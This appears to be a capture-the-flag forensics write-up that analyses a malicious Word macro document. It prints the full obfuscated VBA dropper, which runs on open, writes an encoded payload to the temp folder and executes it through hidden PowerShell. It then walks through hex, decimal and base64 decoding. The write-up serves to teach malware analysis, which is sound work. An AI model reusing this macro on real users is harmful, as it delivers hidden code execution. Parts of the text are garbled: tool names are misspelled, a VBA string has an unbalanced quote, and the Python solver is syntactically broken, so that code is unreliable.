



HACKTHEBOX



Halloween Invitation

12th December 2022 / Document No. D22.102.219

Prepared By: P3t4, thewildspirit

Challenge Author(s): P3t4

Difficulty: **Easy**

Classification: Official

Synopsis

Halloween Invitation is an easy forensics challenge with malicious VBA deobfuscation to retrieve the final PowerShell payload.

Description

An email notification pops up. It's from your theater group. Someone decided to throw a party. The invitation looks awesome, but there is something suspicious about this document. Maybe you should take a look before you rent your banana costume.

Skills Required

- Introductory VBA knowledge
- Familiarity with WordPress

Skills Learned

- VBA static deobfuscation
- Hex decoding
- Decimal decoding
- Base 64 decoding

- Utf-16le decoding

Enumeration

This challenge provides the following file:

- `invitation.docm`: the malicious document containing macros.

If we open the document in our isolated Windows VM, we are greeted with this image:



Now we need to check if there are macros in this document.

We can use the `o1evba` tool from the `o1etools` package for this task.

The trimmed output of the tool is as follows:

```
FILE: invitation.docm
Type: OpenXML
WARNING For now, VBA stomping cannot be detected for files in memory
-----
VBA MACRO ThisDocument.cls
in file: word/vbaProject.bin - OLE stream: 'VBA/ThisDocument'
-----
Sub AutoOpen()
odhsjwpphlxb
Call lmavedb
End Sub
Private Sub odhsjwpphlxb()
Dim bnhupraoau As String
CreateObject("WScript.Shell").currentdirectory = Environ("TEMP")
bnhupraoau = sryivxjsdncj()
dropPath = Environ("TEMP")
Set rxnnvnfuqfrzqfhnff = CreateObject(uxdufnkjlialsyp("53637269707469") & uxdufnkjlialsyp("6e672e46696c6553797374656d4f626a656374"))
Set dfdjggaqhvxixi = rxnnvnfuqfrzqfhnff.CreateTextFile(dropPath & uxdufnkjlialsyp("5c68697374") & uxdufnkjlialsyp("6f72792e62616b"),
True)
dfdjggaqhvxixi.Write bnhupraoau
dfdjggaqhvxixi.Close
End Sub
Private Function wdysllqgsbzs(strBytes) As String
Dim aNumbers
Dim fxnrfzsdmxcvrnp As String
Dim iIter
fxnrfzsdmxcvrnp = ""
aNumbers = Split(strBytes)
For iIter = LBound(aNumbers) To UBound(aNumbers)
fxnrfzsdmxcvrnp = fxnrfzsdmxcvrnp + Chr(aNumbers(iIter))
Next
wdysllqgsbzs = fxnrfzsdmxcvrnp
End Function
Private Function okbzychktto() As String
Dim fxnrfzsdmxcvrnp As String
fxnrfzsdmxcvrnp = ""
```

```
fxnrfzsdmxcvrnp = ""
fxnrfzsdmxcvrnp = fxnrfzsdmxcvrnp + wdysllqgsbzs(uxdufnkjlialsyp("3734203635203636203132322036352036382034382036352037342031") &
uxdufnkjlialsyp("31392036352035312036352036382039392036352037362031303320363520353120363520363820383120363520373620313033"))
fxnrfzsdmxcvrnp = fxnrfzsdmxcvrnp + wdysllqgsbzs(uxdufnkjlialsyp("363520313230203635203638203130") &
uxdufnkjlialsyp("37203635203739203635203635203131372036352036382038352036352037372031303320363520353420363520363820313033203635203737203
635203635203532"))
fxnrfzsdmxcvrnp = fxnrfzsdmxcvrnp + wdysllqgsbzs(uxdufnkjlialsyp("3635203638203635203635203734") &
uxdufnkjlialsyp("20313139203635203535203635203637203831203635203937203831203635203537203635203637203939203635203930203635203438203
635203638203737"))
fxnrfzsdmxcvrnp = fxnrfzsdmxcvrnp +
wdysllqgsbzs(uxdufnkjlialsyp("3635203839203130332036362031303620363520373120373720363520373820313033203636203130372036352036") &
uxdufnkjlialsyp("37203438203635203737203635203635203438203635203638203737203635203930"))
fxnrfzsdmxcvrnp = fxnrfzsdmxcvrnp +
wdysllqgsbzs(uxdufnkjlialsyp("313033203635203132312036352036382038312036352037372036352036352035") &
uxdufnkjlialsyp("33203635203637203438203635203738203131392036362031303820363520373120363920363520373720313033203635"))
fxnrfzsdmxcvrnp = fxnrfzsdmxcvrnp +
wdysllqgsbzs(uxdufnkjlialsyp("373120313033203635203130302036352036362034382036352037372036352036352037392031303320") &
uxdufnkjlialsyp("36352031313820363520363720353620363520373420313139203635203535203635203637203831"))
fxnrfzsdmxcvrnp = fxnrfzsdmxcvrnp +
wdysllqgsbzs(uxdufnkjlialsyp("363520313030203130332036352035372036352036392031303720363520393820313033203636203530203635203731203536203
63520393720313139203636203130382036352036372034") & uxdufnkjlialsyp("38203635203835"))
fxnrfzsdmxcvrnp = fxnrfzsdmxcvrnp +
wdysllqgsbzs(uxdufnkjlialsyp("313033203636203130382036352037322037372036352031303020363520363620373820363520373120383520363520313030203
63520363620313131203635203731203536203635203930") & uxdufnkjlialsyp("203635203635"))
fxnrfzsdmxcvrnp = fxnrfzsdmxcvrnp +
wdysllqgsbzs(uxdufnkjlialsyp("313033203635203637203438203635203836203831203636203132322036352037312038") &
uxdufnkjlialsyp("35203635203831203130332036362031303420363520373220373720363520393720383120363620313036203635"))
fxnrfzsdmxcvrnp = fxnrfzsdmxcvrnp +
wdysllqgsbzs(uxdufnkjlialsyp("373020363520363520383920383120363620313231203635203732203737203635203937203831203636") &
uxdufnkjlialsyp("2031313720363520373120393920363520373320363520363520313136203635203730203835203635"))
fxnrfzsdmxcvrnp = fxnrfzsdmxcvrnp +
wdysllqgsbzs(uxdufnkjlialsyp("393920313033203636203131322036352036372036352036352037342036352036362031313920363520363720383120363520393
9203131392036352031313820") & uxdufnkjlialsyp("3635203731203831203635203738203635"))
fxnrfzsdmxcvrnp = fxnrfzsdmxcvrnp + wdysllqgsbzs(uxdufnkjlialsyp("363520313232203635203731203733203635") &
uxdufnkjlialsyp("20383920313139203636203130362036352036382038392036352039302036352036352031303320363520363720343820363520383320363520363
620313038"))
fxnrfzsdmxcvrnp = fxnrfzsdmxcvrnp +
wdysllqgsbzs(uxdufnkjlialsyp("36352037312036392036352039302036352036362031303820363520373220373320363520393920313139203635") &
uxdufnkjlialsyp("20313033203635203639203635203635203130312031313920363520313035203635203639"))
fxnrfzsdmxcvrnp = fxnrfzsdmxcvrnp +
wdysllqgsbzs(uxdufnkjlialsyp("363920363520313030203831203636203438203635203731203130332036352039") &
uxdufnkjlialsyp("38203131392036362031323120363520373120313037203635203130312031303320363620313034203635203732203831"))
```

```

End Function
Private Function sryivxjsdncj() As String
Dim fxnrfzsdxcvranp As String
fxnrfzsdxcvranp = ""
fxnrfzsdxcvranp = fxnrfzsdxcvranp + okbzychkqttto()
sryivxjsdncj = fxnrfzsdxcvranp
End Function
Sub lmavedb()
dropPath = Environ("TEMP")
Set rxnnvnfqufrzqfhnff = CreateObject(uxdufnkjlialsyp("536372697074696e672e46696c6553797374") & uxdufnkjlialsyp("656d4f626a656374"))
Set ktmlmpc = rxnnvnfqufrzqfhnff.OpenTextFile(dropPath & uxdufnkjlialsyp("5c68") & uxdufnkjlialsyp("6973746f72792e62616b"))
secret = ktmlmpc.ReadAll
ktmlmpc.Close
Code = "powershell -WindowStyle hidden -e "" & secret
x = Shell(Code, 1)
End Sub
-----
VBA MACRO Module1.bas
in file: word/vbaProject.bin - OLE stream: 'VBA/Module1'
-----

Function uxdufnkjlialsyp(ByVal tiyrahvzb As String) As String
Dim nqjveawetp As Long
For nqjveawetp = 1 To Len(tiyrahvzb) Step 2
uxdufnkjlialsyp = uxdufnkjlialsyp & Chr$(Val("&H" & Mid$(tiyrahvzb, nqjveawetp, 2)))
Next nqjveawetp
End Function

```

Type	Keyword	Description
[AutoExec]	[AutoOpen]	[Runs when the Word document is opened]
[Suspicious]	[Environ]	[May read system environment variables]
[Suspicious]	[Write]	[May write to a file (if combined with Open)]
[Suspicious]	[CreateTextFile]	[May create a text file]
[Suspicious]	[Shell]	[May run an executable file or a system command]
[Suspicious]	[WScript.Shell]	[May run an executable file or a system command]
[Suspicious]	[powershell]	[May run PowerShell commands]
[Suspicious]	[Call]	[May call a DLL using Excel 4 Macros (XLM/XLF)]
[Suspicious]	[CreateObject]	[May create an OLE object]
[Suspicious]	[Chr]	[May attempt to obfuscate specific strings (use option --deobf to deobfuscate)]
[Suspicious]	[Hex Strings]	[Hex-encoded strings were detected, may be used to obfuscate strings (option --decode to see all)]
[Hex String]	[Scripti]	[53637269707469]
[Hex String]	[ng.FileSystemObject]	[6e672e46696c6553797374656d4f626a656374]
[Hex String]	[hist]	[5c68697374]
[Hex String]	[ory.bak]	[6f72792e62616b]
[Hex String]	[74 65 66 122 65 68]	[373420363520363620313232203635203638203438203]
[Hex String]	[48 65 74 1]	[6352037342031]
[Hex String]	[19 65 51 65 68 99 65]	[313920363520353120363520363820393920363520373]
[Hex String]	[76 103 65 51 65 68]	[620313033203635203531203635203638203831203635]
[Hex String]	[81 65 76 103]	[20373620313033]
[Hex String]	[65 120 65 68 10]	[363520313230203635203638203130]
[Hex String]	[7 65 79 65 65 117 65]	[372036352037392036352036352031313720363520363]
[Hex String]	[68 85 65 77 103 65]	[820383520363520373720313033203635203534203635]
[Hex String]	[54 65 68 103 65 77]	[20363820313033203635203737203635203635203532]
[Hex String]	[65 65 52]	[3635203638203635203635203734]
[Hex String]	[65 68 65 65 74]	[203131392036352035352036352036372038312036352]
[Hex String]	[119 65 55 65 67 81]	[039372038312036352035372036352036372039392036]
[Hex String]	[65 97 81 65 57 65 67]	[35203930203635203635203438203635203638203737]
[Hex String]	[99 65 90 65 65 48 65]	[68 77]
[Hex String]	[65 89 103 66 106 65]	[363520383920313033203636203130362036352037312]
[Hex String]	[71 77 65 78 103 66]	[037372036352037382031303320363620313037203635]
[Hex String]	[107 65 6]	[2036]
[Hex String]	[7 48 65 77 65 65 48]	[372034382036352037372036352036352034382036352]
[Hex String]	[65 68 77 65 90]	[03638203737203635203930]
[Hex String]	[103 65 121 65 68 81]	[313033203635203132312036352036382038312036352]
[Hex String]	[65 77 65 65 5]	[037372036352036352035]
[Hex String]	[3 65 67 48 65 78 119]	[332036352036372034382036352037382031313920363]
[Hex String]	[66 108 65 71 69 65]	[620313038203635203731203639203635203737203130]

As we can see, this document has macros that are obfuscated.

To understand the functionality of the macros, we need to deobfuscate them. We will start with the strings.

String Decoding

Every string is used as a parameter for the function `uxdufnkjlialsyp`.

It is a function that takes a string as input and returns a string as output. It converts the input string from a hexadecimal representation to a string of ASCII characters. The function first declares a variable `nqjveawetp` of data type Long, which is an integer data type. It then enters a For loop that iterates over the characters in the input string `tiyrahvzb`, stepping by 2 characters at a time. On each iteration of the loop, the function concatenates the ASCII character corresponding to the hexadecimal value of the current 2-character substring of the input string onto the output string `uxdufnkjliaisyp`. This is accomplished using the `Chr$` function, which converts a given ASCII value to its corresponding character, and the `Val` function, which converts a string representation of a number to its numerical value.

Now we can deobfuscate the strings in the document. We need to first convert the hexadecimal representation of the strings to ASCII characters. The result should be decimal values.

Recipe	Input
From Hex Delimiter: None	3734203635203636203132322036352036382034382036352037342031
Output 74 65 66 122 65 68 48 65 74 1	

Our assumption was correct. The strings are now decimal values. We can now convert them to ASCII characters.

Recipe	Input
From Hex Delimiter: None	37342036352036362031323220363520363820343820363520373420
From Decimal Delimiter: Space ☐ Support signed values	
Output JABzAD0AJ	

The strings are now in ASCII. We can notice that the output looks like a `base64` string.

Execution

Another important subroutine that we need to analyze is `1mavedb`.

This is a subroutine, or Sub, in VBA that appears to execute a command using the Windows Shell function. The subroutine begins by defining a string variable, `dropPath`, and setting it to the value of the `TEMP` environment variable, a system-defined variable specifying the location of the user's temporary directory. Next, the subroutine creates an instance of a `FileSystemObject` using the `CreateObject` function, passing in the result from the `uxdufnkj1ia1syp` function. The `FileSystemObject` is then used to open a text file at the specified `dropPath`, and the file's entire contents are read into the `secret` string variable. At last, the subroutine then constructs a Code string variable by concatenating the string `powershell -windowStyle hidden -e` with the `secret` variable and uses the `Shell` function to execute this code.

Solution

Now we know we must decode the secret string to find the final payload. We can do that by parsing the strings line by line and decoding them from hex, decimal, and last from base64.

When trying to decode the base64 string, we will notice that it is encoded in `utf-16le` format, but Python can decode it to `utf-8`.

A Python solver looks like this:



```
x = ''
3734203635203636203132322036352036382034382036352037342031
31392036352035312036352036382039392036352037362031303320363520353120363520363820383120363520373620313033
3635203132320203635203638203130
37203635203739203635203635203131372036352036382038352036352037372031303320363520353420363520363820313033203635203737203635203635203532
3635203638203635203635203734
20313139203635203535203635203637203831203635203937203831203635203537203635203637203939203635203930203635203635203438203635203638203737
3635203839203130332036362031303620363520373120373720363520373820313033203636203130372036352036
37203438203635203737203635203635203438203635203638203737203635203930
313033203635203132312036352036382038312036352037372036352036352035
33203635203637203438203635203738203131392036362031303820363520373120363920363520373720313033203635
3132322036352037312036392036352037372031303320363620313036203635203637203939203635203739203131392036352031303720363520373220363520363520
38302038312036352031 3130203635
373120313033203635203130302036352036362034382036352037322036352036352037392031303320
36352031313820363520363720353620363520373420313139203635203535203635203637203831
3635203130302031303320363520353720363520363920313037203635203938203130332036362035302036352037312035362036352039372031313920363620313038
2036352036372034 38203635203835
3130332036362031303820363520373220373720363520313030203635203636203731203835203635203130302036352036362031313120363520373120
3536203635203930 203635203635
313033203635203637203438203635203836203831203636203132322036352037312038
35203635203831203130332036362031303420363520373220373720363520393720383120363620313036203635
373020363520363520383920383120363620313231203635203732203737203635203937203831203636
2031313720363520373120393920363520373320363520363520373136203635203730203835203635
3939203130332036362031313220363520363720363520363520373420363520363620313139203635203637203831203635203939203131392036352031313820
3635203731203831203635203738203635
363520313232203635203731203733203635
20383920313139203636203130362036352036382038392036352039302036352036352031303320363520363720343820363520383320363520363620313038
36352037312036392036352039302036352036362031303820363520373220373320363520393920313139203635
20313033203635203639203635203635203130312031313920363520313035203635203639
36392036352031303020383120363620343820363520373120313033203635203937203635203639203438203635203930
38203131392036362031323120363520373120313037203635203130312031303320363620313034203635203732203831
363520393720383120363620
3131382036352037312035322036352037332031303320363520353720363520363720383120363520393720383120363620353720363520363820313135203635203130
30
313139203636203131312036352037312031303720363520393820363520363620313038
2036352036372036352036352037352036352036352031303720363520373220383120363520393920313033203636
3439203635203731203835203635203735203831203636203535203635203637203831203635203839203131392036352035372036352036372031303320363520383320
3831203636203131 37203635203732
38392036352039382031313920363620313134203635203731203835203635203736203831203636203833
20363520373120383520363520393920313139203636203438203635203639203438203635203930
38312036362034382036352037312031303320363520393820313139203636203130372036352036372036352036352037362038312036362038362036352037322037
37203635203930203831203636203637
363520373120363920363520393920313139203636203131322036352037312037372036352038352036352036362031303420363520
37322037332036352039392031313920363620313132203635203731
3532203635203930203131392036352031303320363520363720343820363520383620383120363620313231203635203731203130372036352037332036352036352031
3037203635203732203635 203635
37342036352036362031323220363520363720
35362036352037372036352036352034382036352036382037372036352039302031303320363520313231203635203638203831203635203737203635203635
353320363520363720363520363520373620383120363620373320363520373120383520363520383920383120363620313037203635
2037312038352036352039392031303320363620313232203635203637
36352036352038312036352036362035352036352036372037332036352038
3120383120363620343920363520373220383120363520393720363520363620313138203635203732203733203635203937
383120363620353420363520373120363920363520
313030203635203636203131322036352037312035362036352039382031303320363520313035203635203638203438203635203734203635203636
31313220363520373220343820363520
37352038312036352035352036352037312031303720363520393020313033203635203130332036352036372031303320363520373420363520363620313036203635
3637
2036352036352037362038312036362031313720363520373120383520363520373320363520363520313130203635203639203532203635203938203131392036362031
3137203635203731203835
3635203734203131392036352031313220363520363720363520363520313031203131392036352031303720363520373220373320363520383020383120363620313132
20363520 373120383520363520313031
36352036352031303320
3635203637203831203635203839203131392036352031303320363520363720343820363520383220383120363620313231203635203732203733203635203938203131
39203636
3132312036352036392036392036352038392031313920363620343820363520373120313037203635203938203131392036362031313720363520
363720363520363520383520313139203636203438203635
3731203536203635203939203635203635203130332036352036372034382036352038322038312036362031323120
36352037322037332036352039382031313920363620313231203635203730203839
363520383920383120363620313231203635203731203130372036352038392038
31203636203130352036352037312031313920363520393020383120363520313033203635203731203835203635203739
3131392036352031303720363520373220373320363520383020383120
3636203830203635203732203835203635203130302036352036352031313620363520373020373720363520313030203635203636
3132312036352037
3120313037203635203938203130332036362031313020363520363720363520363520373620383120363620373420363520373120353220363520393920363520363620
3439203635
3732203831203635203834203131392036362031303520363520373120313131203635203930203831203636203130362036352037322038312036352037332036352036
3520313037203635203732 203733
3635203739203131392036352031303720363520373220383120363520383020383120363620
373420363520373120353220363520313030203130332036362031313820363520373120313135203635203930
38312036352031313620363520373020373320363520393020383120363620313232203635203732203831203635203834203831203636203130
3820363520373220383120363520393720363520363620313138
3635203731203831203635203733
20363520363520313136203635203730203835203635203939203130332036362031313220363520363720363520363520373420363520363620313139203635203637
3831203635203939203131392036352031313820363520363820393920363520393020383120363620313034203635203638203733203635203737203131392036362031
303420363520363820373320 3635
3839203131392036352031303320363520363720343820363520383420383120363620313038203635203732203831203635203937203635203636203131382036352037
3120 3831203635203733203635
363620383120
3635203639203536203635203835203131392036362038352036352036372036352036352037362038312036362037332036352037312038352036352038392038312036
3620313037203635
37312038352036352039392031303320363620313232203635203637203635203635203831203635203636203535
203635203637203733203635203831203831203636203439203635203732203831203635
3937203635203636203131382036352037322037332036352039372038312036362035342036352037312036392036352031303020363520363620313132203635203731
203536203635203938 20313033
3635203130352036352036382034382036352037342036352036362031313220363520373220343820363520373320363520363520
3131362036352036392037332036352039382031313920363620313037
363520373220
3130372036352037332036352036352031313120363520373020313135203635203835203131392036362035332036352037322037372036352031303020363520363620
313038203635203731
3438203635
2037362031303320363620383520363520373120383520363520313031203635203636203438203635203637203532203635203832203831203636203131372036352037
31203737203635203938
```

```
3131392036362031303720363520373120313037203635203938203130332036362031313020363520373020343820363520373920313033203635203534203635203730
203835203635 203836203635203636
37312036352036382031303320363520373620313033203636203732203635203731
20383520363520313030203635203636203637203635203732203130372036352031303020363520363620313038203635
3732203737203635203735203635203635203130372036352037312038352036352037352031313920363520313037203635203732203733203635203735203831203635
20313033203635203637203438
36352039372031303320363620
3131382036352037312031303720363520393820313033203635203130332036352036372039392036352037332036352036352031313020363520363720313037203635
313032
2038312036352031303320363520373220373720363520393820363520363620313038203635203731203835203635203939203635203635203130332036352036382036
3520363520373620313033
363520353220363520373220343820363520383320363520363620
3835203635203639203733203635203130312031313920363520343920363520373220383520363520393920363520363520313232203635
373220373320363520383820313139203635203132322036352036382038312036352037382038
31203636203533203635203730203536203635203938203831203635203438203635203731203737203635
393920313033203635203131392036352036382038352036352031303220383120 3635203631''.split('\n')

res = ''
for line in x:
    vals = line.split(' ')
    for val in vals:
        res += bytes.fromhex(val).decode()
    res+=' '

res = res[:-1].split(' ')
shellcode = b''
for char in res:
    shellcode += bytes([int(char)])

import base64

dt = base64.b64decode(shellcode).decode('utf-16')
print(dt)
```